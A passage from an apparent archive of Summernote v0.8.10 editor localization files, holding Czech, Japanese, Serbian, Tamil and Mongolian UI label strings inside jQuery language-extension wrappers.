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"}lang/summernote-cs-CZ.min.js000064400000006640151677331550011743 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"cs-CZ":{font:{bold:"Tučné",italic:"Kurzíva",underline:"Podtržené",clear:"Odstranit styl písma",height:"Výška řádku",strikethrough:"Přeškrtnuté",size:"Velikost písma"},image:{image:"Obrázek",insert:"Vložit obrázek",resizeFull:"Původní velikost",resizeHalf:"Poloviční velikost",resizeQuarter:"Čtvrteční velikost",floatLeft:"Umístit doleva",floatRight:"Umístit doprava",floatNone:"Neobtékat textem",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Přetáhnout sem obrázek",dropImage:"Drop image or Text",selectFromFiles:"Vybrat soubor",url:"URL obrázku",remove:"Remove Image",original:"Original"},video:{video:"Video",videoLink:"Odkaz videa",insert:"Vložit video",url:"URL videa?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion nebo Youku)"},link:{link:"Odkaz",insert:"Vytvořit odkaz",unlink:"Zrušit odkaz",edit:"Upravit",textToDisplay:"Zobrazovaný text",url:"Na jaké URL má tento odkaz vést?",openInNewWindow:"Otevřít v novém okně"},table:{table:"Tabulka",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Vložit vodorovnou čáru"},style:{style:"Styl",p:"Normální",blockquote:"Citace",pre:"Kód",h1:"Nadpis 1",h2:"Nadpis 2",h3:"Nadpis 3",h4:"Nadpis 4",h5:"Nadpis 5",h6:"Nadpis 6"},lists:{unordered:"Odrážkový seznam",ordered:"Číselný seznam"},options:{help:"Nápověda",fullscreen:"Celá obrazovka",codeview:"HTML kód"},paragraph:{paragraph:"Odstavec",outdent:"Zvětšit odsazení",indent:"Zmenšit odsazení",left:"Zarovnat doleva",center:"Zarovnat na střed",right:"Zarovnat doprava",justify:"Zarovnat oboustranně"},color:{recent:"Aktuální barva",more:"Další barvy",background:"Barva pozadí",foreground:"Barva písma",transparent:"Průhlednost",setTransparent:"Nastavit průhlednost",reset:"Obnovit",resetToDefault:"Obnovit výchozí"},shortcut:{shortcuts:"Klávesové zkratky",close:"Zavřít",textFormatting:"Formátování textu",action:"Akce",paragraphFormatting:"Formátování odstavce",documentStyle:"Styl dokumentu"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Krok vzad",redo:"Krok vpřed"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-ja-JP.js000064400000011600151677331550011133 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ja-JP': {
      font: {
        bold: '太字',
        italic: '斜体',
        underline: '下線',
        clear: 'クリア',
        height: '文字高',
        name: 'フォント',
        strikethrough: '取り消し線',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: '大きさ'
      },
      image: {
        image: '画像',
        insert: '画像挿入',
        resizeFull: '最大化',
        resizeHalf: '1/2',
        resizeQuarter: '1/4',
        floatLeft: '左寄せ',
        floatRight: '右寄せ',
        floatNone: '寄せ解除',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'ここに画像をドラッグしてください',
        dropImage: 'Drop image or Text',
        selectFromFiles: '画像ファイルを選ぶ',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URLから画像を挿入する',
        remove: '画像を削除する',
        original: 'Original'
      },
      video: {
        video: '動画',
        videoLink: '動画リンク',
        insert: '動画挿入',
        url: '動画のURL',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion, Youku)'
      },
      link: {
        link: 'リンク',
        insert: 'リンク挿入',
        unlink: 'リンク解除',
        edit: '編集',
        textToDisplay: 'リンク文字列',
        url: 'URLを入力してください',
        openInNewWindow: '新しいウィンドウで開く'
      },
      table: {
        table: 'テーブル',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: '水平線の挿入'
      },
      style: {
        style: 'スタイル',
        p: '標準',
        blockquote: '引用',
        pre: 'コード',
        h1: '見出し1',
        h2: '見出し2',
        h3: '見出し3',
        h4: '見出し4',
        h5: '見出し5',
        h6: '見出し6'
      },
      lists: {
        unordered: '通常リスト',
        ordered: '番号リスト'
      },
      options: {
        help: 'ヘルプ',
        fullscreen: 'フルスクリーン',
        codeview: 'コード表示'
      },
      paragraph: {
        paragraph: '文章',
        outdent: '字上げ',
        indent: '字下げ',
        left: '左寄せ',
        center: '中央寄せ',
        right: '右寄せ',
        justify: '均等割付'
      },
      color: {
        recent: '現在の色',
        more: 'もっと見る',
        background: '背景色',
        foreground: '文字色',
        transparent: '透明',
        setTransparent: '透明にする',
        reset: '標準',
        resetToDefault: '標準に戻す'
      },
      shortcut: {
        shortcuts: 'ショートカット',
        close: '閉じる',
        textFormatting: '文字フォーマット',
        action: 'アクション',
        paragraphFormatting: '文章フォーマット',
        documentStyle: 'ドキュメント形式',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': '改行挿入',
        'undo': '一旦、行った操作を戻す',
        'redo': '最後のコマンドをやり直す',
        'tab': 'Tab',
        'untab': 'タブ戻し',
        'bold': '太文字',
        'italic': '斜体',
        'underline': '下線',
        'strikethrough': '取り消し線',
        'removeFormat': '装飾を戻す',
        'justifyLeft': '左寄せ',
        'justifyCenter': '真ん中寄せ',
        'justifyRight': '右寄せ',
        'justifyFull': 'すべてを整列',
        'insertUnorderedList': '行頭に●を挿入',
        'insertOrderedList': '行頭に番号を挿入',
        'outdent': '字下げを戻す(アウトデント)',
        'indent': '字下げする(インデント)',
        'formatPara': '段落(P tag)指定',
        'formatH1': 'H1指定',
        'formatH2': 'H2指定',
        'formatH3': 'H3指定',
        'formatH4': 'H4指定',
        'formatH5': 'H5指定',
        'formatH6': 'H6指定',
        'insertHorizontalRule': '&lt;hr /&gt;を挿入',
        'linkDialog.show': 'リンク挿入'
      },
      history: {
        undo: '元に戻す',
        redo: 'やり直す'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-sr-RS-Latin.min.js000064400000006742151677331550013042 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"sr-RS":{font:{bold:"Podebljano",italic:"Kurziv",underline:"Podvučeno",clear:"Ukloni stilove fonta",height:"Visina linije",name:"Font Family",strikethrough:"Precrtano",subscript:"Subscript",superscript:"Superscript",size:"Veličina fonta"},image:{image:"Slika",insert:"Umetni sliku",resizeFull:"Puna veličina",resizeHalf:"Umanji na 50%",resizeQuarter:"Umanji na 25%",floatLeft:"Uz levu ivicu",floatRight:"Uz desnu ivicu",floatNone:"Bez ravnanja",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Prevuci sliku ovde",dropImage:"Drop image or Text",selectFromFiles:"Izaberi iz datoteke",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Adresa slike",remove:"Ukloni sliku",original:"Original"},video:{video:"Video",videoLink:"Veza ka videu",insert:"Umetni video",url:"URL video",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ili Youku)"},link:{link:"Veza",insert:"Umetni vezu",unlink:"Ukloni vezu",edit:"Uredi",textToDisplay:"Tekst za prikaz",url:"Internet adresa",openInNewWindow:"Otvori u novom prozoru"},table:{table:"Tabela",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Umetni horizontalnu liniju"},style:{style:"Stil",p:"pni",blockquote:"Citat",pre:"Kod",h1:"Zaglavlje 1",h2:"Zaglavlje 2",h3:"Zaglavlje 3",h4:"Zaglavlje 4",h5:"Zaglavlje 5",h6:"Zaglavlje 6"},lists:{unordered:"Obična lista",ordered:"Numerisana lista"},options:{help:"Pomoć",fullscreen:"Preko celog ekrana",codeview:"Izvorni kod"},paragraph:{paragraph:"Paragraf",outdent:"Smanji uvlačenje",indent:"Povečaj uvlačenje",left:"Poravnaj u levo",center:"Centrirano",right:"Poravnaj u desno",justify:"Poravnaj obostrano"},color:{recent:"Poslednja boja",more:"Više boja",background:"Boja pozadine",foreground:"Boja teksta",transparent:"Providna",setTransparent:"Providna",reset:"Opoziv",resetToDefault:"Podrazumevana"},shortcut:{shortcuts:"Prečice sa tastature",close:"Zatvori",textFormatting:"Formatiranje teksta",action:"Akcija",paragraphFormatting:"Formatiranje paragrafa",documentStyle:"Stil dokumenta",extraKeys:"Dodatne kombinacije"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Poništi",redo:"Ponovi"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-ta-IN.min.js000064400000012211151677331550011723 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ta-IN":{font:{bold:"தடித்த",italic:"சாய்வு",underline:"அடிக்கோடு",clear:"நீக்கு",height:"வரி  உயரம்",name:"எழுத்துரு பெயர்",strikethrough:"குறுக்குக் கோடு",size:"எழுத்துரு அளவு",superscript:"மேல் ஒட்டு",subscript:"கீழ் ஒட்டு"},image:{image:"படம்",insert:"படத்தை செருகு",resizeFull:"முழு அளவை",resizeHalf:"அரை அளவை",resizeQuarter:"கால் அளவை",floatLeft:"இடப்பக்கமாக வை",floatRight:"வலப்பக்கமாக வை",floatNone:"இயல்புநிலையில் வை",shapeRounded:"வட்டமான வடிவம்",shapeCircle:"வட்ட வடிவம்",shapeThumbnail:"சிறு வடிவம்",shapeNone:"வடிவத்தை நீக்கு",dragImageHere:"படத்தை இங்கே இழுத்துவை",dropImage:"படத்தை விடு",selectFromFiles:"கோப்புகளை தேர்வு செய்",maximumFileSize:"அதிகபட்ச கோப்பு அளவு",maximumFileSizeError:"கோப்பு அதிகபட்ச அளவை மீறிவிட்டது",url:"இணையதள முகவரி",remove:"படத்தை நீக்கு",original:"Original"},video:{video:"காணொளி",videoLink:"காணொளி இணைப்பு",insert:"காணொளியை செருகு",url:"இணையதள முகவரி",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"இணைப்பு",insert:"இணைப்பை செருகு",unlink:"இணைப்பை நீக்கு",edit:"இணைப்பை தொகு",textToDisplay:"காட்சி வாசகம்",url:"இணையதள முகவரி",openInNewWindow:"புதிய சாளரத்தில் திறக்க"},table:{table:"அட்டவணை",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"கிடைமட்ட கோடு"},style:{style:"தொகுப்பு",p:"பத்தி",blockquote:"மேற்கோள்",pre:"குறியீடு",h1:"தலைப்பு 1",h2:"தலைப்பு 2",h3:"தலைப்பு 3",h4:"தலைப்பு 4",h5:"தலைப்பு 5",h6:"தலைப்பு 6"},lists:{unordered:"வரிசையிடாத",ordered:"வரிசையிட்ட"},options:{help:"உதவி",fullscreen:"முழுத்திரை",codeview:"நிரலாக்க காட்சி"},paragraph:{paragraph:"பத்தி",outdent:"வெளித்தள்ளு",indent:"உள்ளே தள்ளு",left:"இடது சீரமைப்பு",center:"நடு சீரமைப்பு",right:"வலது சீரமைப்பு",justify:"இருபுற சீரமைப்பு"},color:{recent:"அண்மை நிறம்",more:"மேலும்",background:"பின்புல நிறம்",foreground:"முன்புற நிறம்",transparent:"தெளிமையான",setTransparent:"தெளிமையாக்கு",reset:"மீட்டமைக்க",resetToDefault:"இயல்புநிலைக்கு மீட்டமை"},shortcut:{shortcuts:"குறுக்குவழி",close:"மூடு",textFormatting:"எழுத்து வடிவமைப்பு",action:"செயல்படுத்து",paragraphFormatting:"பத்தி வடிவமைப்பு",documentStyle:"ஆவண பாணி",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"மீளமை",redo:"மீண்டும்"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-mn-MN.js000064400000013746151677331550011171 0ustar00// Starsoft Mongolia LLC Temuujin Ariunbold

(function($) {
  $.extend($.summernote.lang, {
    'mn-MN': {
      font: {
        bold: 'Тод',
        italic: 'Налуу',
        underline: 'Доогуур зураас',
        clear: 'Цэвэрлэх',
        height: 'Өндөр',
        name: 'Фонт',
        superscript: 'Дээд илтгэгч',
        subscript: 'Доод илтгэгч',
        strikethrough: 'Дарах',
        size: 'Хэмжээ'
      },
      image: {
        image: 'Зураг',
        insert: 'Оруулах',
        resizeFull: 'Хэмжээ бүтэн',
        resizeHalf: 'Хэмжээ 1/2',
        resizeQuarter: 'Хэмжээ 1/4',
        floatLeft: 'Зүүн талд байрлуулах',
        floatRight: 'Баруун талд байрлуулах',
        floatNone: 'Анхдагч байрлалд аваачих',
        shapeRounded: 'Хүрээ: Дугуй',
        shapeCircle: 'Хүрээ: Тойрог',
        shapeThumbnail: 'Хүрээ: Хураангуй',
        shapeNone: 'Хүрээгүй',
        dragImageHere: 'Зургийг энд чирч авчирна уу',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Файлуудаас сонгоно уу',
        maximumFileSize: 'Файлын дээд хэмжээ',
        maximumFileSizeError: 'Файлын дээд хэмжээ хэтэрсэн',
        url: 'Зургийн URL',
        remove: 'Зургийг устгах',
        original: 'Original'
      },
      video: {
        video: 'Видео',
        videoLink: 'Видео холбоос',
        insert: 'Видео оруулах',
        url: 'Видео URL?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion болон Youku)'
      },
      link: {
        link: 'Холбоос',
        insert: 'Холбоос оруулах',
        unlink: 'Холбоос арилгах',
        edit: 'Засварлах',
        textToDisplay: 'Харуулах бичвэр',
        url: 'Энэ холбоос хаашаа очих вэ?',
        openInNewWindow: 'Шинэ цонхонд нээх'
      },
      table: {
        table: 'Хүснэгт',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Хэвтээ шугам оруулах'
      },
      style: {
        style: 'Хэв маяг',
        p: 'p',
        blockquote: 'Иш татах',
        pre: 'Эх сурвалж',
        h1: 'Гарчиг 1',
        h2: 'Гарчиг 2',
        h3: 'Гарчиг 3',
        h4: 'Гарчиг 4',
        h5: 'Гарчиг 5',
        h6: 'Гарчиг 6'
      },
      lists: {
        unordered: 'Эрэмбэлэгдээгүй',
        ordered: 'Эрэмбэлэгдсэн'
      },
      options: {
        help: 'Тусламж',
        fullscreen: 'Дэлгэцийг дүүргэх',
        codeview: 'HTML-Code харуулах'
      },
      paragraph: {
        paragraph: 'Хэсэг',
        outdent: 'Догол мөр хасах',
        indent: 'Догол мөр нэмэх',
        left: 'Зүүн тийш эгнүүлэх',
        center: 'Төвд эгнүүлэх',
        right: 'Баруун тийш эгнүүлэх',
        justify: 'Мөрийг тэгшлэх'
      },
      color: {
        recent: 'Сүүлд хэрэглэсэн өнгө',
        more: 'Өөр өнгөнүүд',
        background: 'Дэвсгэр өнгө',
        foreground: 'Үсгийн өнгө',
        transparent: 'Тунгалаг',
        setTransparent: 'Тунгалаг болгох',
        reset: 'Анхдагч өнгөөр тохируулах',
        resetToDefault: 'Хэвд нь оруулах'
      },
      shortcut: {
        shortcuts: 'Богино холбоос',
        close: 'Хаалт',
        textFormatting: 'Бичвэрийг хэлбэржүүлэх',
        action: 'Үйлдэл',
        paragraphFormatting: 'Догол мөрийг хэлбэржүүлэх',
        documentStyle: 'Бичиг баримтын хэв загвар',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Буцаах',
        redo: 'Дахин хийх'
      },
      specialChar: {
        specialChar: 'Тусгай тэмдэгт',
        select: 'Тусгай тэмдэгт сонгох'
      }
    }
  });
})(jQuery);
lang/summernote-ta-IN.js000064400000015245151677331550011153 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ta-IN': {
      font: {
        bold: 'தடித்த',
        italic: 'சாய்வு',
        underline: 'அடிக்கோடு',
        clear: 'நீக்கு',
        height: 'வரி  உயரம்',
        name: 'எழுத்துரு பெயர்',
        strikethrough: 'குறுக்குக் கோடு',
        size: 'எழுத்துரு அளவு',
        superscript: 'மேல் ஒட்டு',
        subscript: 'கீழ் ஒட்டு'
      },
      image: {
        image: 'படம்',
        insert: 'படத்தை செருகு',
        resizeFull: 'முழு அளவை',
        resizeHalf: 'அரை அளவை',
        resizeQuarter: 'கால் அளவை',
        floatLeft: 'இடப்பக்கமாக வை',
        floatRight: 'வலப்பக்கமாக வை',
        floatNone: 'இயல்புநிலையில் வை',
        shapeRounded: 'வட்டமான வடிவம்',
        shapeCircle: 'வட்ட வடிவம்',
        shapeThumbnail: 'சிறு வடிவம்',
        shapeNone: 'வடிவத்தை நீக்கு',
        dragImageHere: 'படத்தை இங்கே இழுத்துவை',
        dropImage: 'படத்தை விடு',
        selectFromFiles: 'கோப்புகளை தேர்வு செய்',
        maximumFileSize: 'அதிகபட்ச கோப்பு அளவு',
        maximumFileSizeError: 'கோப்பு அதிகபட்ச அளவை மீறிவிட்டது',
        url: 'இணையதள முகவரி',
        remove: 'படத்தை நீக்கு',
        original: 'Original'
      },
      video: {
        video: 'காணொளி',
        videoLink: 'காணொளி இணைப்பு',
        insert: 'காணொளியை செருகு',
        url: 'இணையதள முகவரி',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
      },
      link: {
        link: 'இணைப்பு',
        insert: 'இணைப்பை செருகு',
        unlink: 'இணைப்பை நீக்கு',
        edit: 'இணைப்பை தொகு',
        textToDisplay: 'காட்சி வாசகம்',
        url: 'இணையதள முகவரி',
        openInNewWindow: 'புதிய சாளரத்தில் திறக்க'
      },
      table: {
        table: 'அட்டவணை',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'கிடைமட்ட கோடு'
      },
      style: {
        style: 'தொகுப்பு',
        p: 'பத்தி',
        blockquote: 'மேற்கோள்',
        pre: 'குறியீடு',
        h1: 'தலைப்பு 1',
        h2: 'தலைப்பு 2',
        h3: 'தலைப்பு 3',
        h4: 'தலைப்பு 4',
        h5: 'தலைப்பு 5',
        h6: 'தலைப்பு 6'
      },
      lists: {
        unordered: 'வரிசையிடாத',
        ordered: 'வரிசையிட்ட'
      },
      options: {
        help: 'உதவி',
        fullscreen: 'முழுத்திரை',
        codeview: 'நிரலாக்க காட்சி'
      },
      paragraph: {
        paragraph: 'பத்தி',
        outdent: 'வெளித்தள்ளு',
        indent: 'உள்ளே தள்ளு',
        left: 'இடது சீரமைப்பு',
        center: 'நடு சீரமைப்பு',
        right: 'வலது சீரமைப்பு',
        justify: 'இருபுற சீரமைப்பு'
      },
      color: {
        recent: 'அண்மை நிறம்',
        more: 'மேலும்',
        background: 'பின்புல நிறம்',
        foreground: 'முன்புற நிறம்',
        transparent: 'தெளிமையான',
        setTransparent: 'தெளிமையாக்கு',
        reset: 'மீட்டமைக்க',
        resetToDefault: 'இயல்புநிலைக்கு மீட்டமை'
      },
      shortcut: {
        shortcuts: 'குறுக்குவழி',
        close: 'மூடு',
        textFormatting: 'எழுத்து வடிவமைப்பு',
        action: 'செயல்படுத்து',
        paragraphFormatting: 'பத்தி வடிவமைப்பு',
        documentStyle: 'ஆவண பாணி',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'மீளமை',
        redo: 'மீண்டும்'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-uz-UZ.min.js000064400000006224151677331550012014 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

